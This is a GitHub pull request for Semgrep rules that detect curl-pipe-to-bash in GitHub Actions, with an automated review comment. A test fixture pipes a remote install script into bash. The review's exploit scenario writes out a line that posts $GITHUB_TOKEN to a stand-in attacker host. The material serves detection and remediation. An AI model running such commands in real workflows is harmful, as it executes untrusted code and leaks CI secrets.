fix(gha): skip non-bash shells in curl nested-bash rules - #4005
fix(gha): skip non-bash shells in curl nested-bash rules#4005l46983284-cpu wants to merge 1 commit into
Conversation
Restrict curl-eval and gha-curl-pipe-shell so language:bash metavariable-pattern only runs on default-shell or bash/sh steps. Avoids PartialParsing under --strict for explicit pwsh steps (semgrep#4001). Signed-off-by: Alex Chen <l46983284@gmail.com>
| - name: explicit bash curl pipe still detected | ||
| shell: bash | ||
| # ruleid: gha-curl-pipe-shell | ||
| run: curl -fsSL https://example.com/install.sh | bash |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
curl downloads install.sh from example.com and pipes it directly into bash, so any attacker-controlled change to that URL runs on the CI runner immediately.
More details about this
This step downloads https://example.com/install.sh with curl -fsSL and sends the response straight into bash. If someone can change what that URL serves—through a compromised server, DNS hijack, or a tampered dependency endpoint—they can make your GitHub Actions runner execute their script immediately.
Plausible exploit path:
- An attacker gets control of
https://example.com/install.shor intercepts traffic to it. - They replace the installer with a script such as
echo $GITHUB_TOKEN | curl -X POST https://attacker.example/leak --data-binary @-. - In this
run:step,curlfetches that attacker-controlled content and the pipe sends it directly tobash. bashruns the script on the CI runner with the job's environment, letting the attacker read secrets, modify checked-out code, or use the workflow token to push changes or access other GitHub resources.
To resolve this comment:
✨ Commit fix suggestion
| run: curl -fsSL https://example.com/install.sh | bash | |
| run: | | |
| curl -fsSL https://example.com/install.sh -o /tmp/install.sh | |
| # Replace the placeholder below with the vendor-published SHA-256 for the exact script/version being downloaded. | |
| echo "<expected-sha256> /tmp/install.sh" | sha256sum -c - | |
| bash /tmp/install.sh |
View step-by-step instructions
- Replace the pipe-to-shell command with separate download, verification, and execution steps instead of
curl ... | bash. - Download the installer to a temporary file with
curl -fsSL https://example.com/install.sh -o /tmp/install.shorwget -q https://example.com/install.sh -O /tmp/install.sh. - Verify the downloaded file before executing it, for example with a pinned checksum:
echo "<expected-sha256> /tmp/install.sh" | sha256sum -c -.
This prevents a modified remote script from being executed in the runner. - Execute the local file only after verification succeeds, for example with
bash /tmp/install.sh. - If the vendor offers a versioned release artifact, prefer pinning that exact version in the URL and storing the matching checksum in the workflow or in a checked-in helper script, such as
VERSION="1.2.3"andcurl -fsSL "https://example.com/downloads/${VERSION}/install.sh" -o /tmp/install.sh. - If this install logic is reused, move it into a checked-in script and keep the pinned
VERSIONandSHA256together there, then call that script from the workflow instead of embeddingcurl ... | bashinrun:.
Alternatively, if the vendor provides signed packages or native package manager support, install the tool from that trusted package source and verify the signature instead of executing a remote shell script.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by gha-curl-pipe-shell.
You can view more details about this finding in the Semgrep AppSec Platform.
Summary
Fixes #4001 for
curl-evalandgha-curl-pipe-shell.Those rules always nested-parse every
run:body as Bash. Explicitshell: pwsh/ PowerShell steps then raisePartialParsingunder--strictand can exit non-zero even when the step is not Bash.Change
language: bashmetavariable-pattern for default-shell steps (noshell:key) or explicitshell: bash/shell: shfocus-metavariable: $SHELLso findings stay on the script body# okrepro from the issue + explicit bash# ruleidcontrolsTest plan
semgrep test yaml/github-actions/security(12/12)shell: pwshworkflow under--strictagainst both rules: 0 findings, no PartialParsingCloses #4001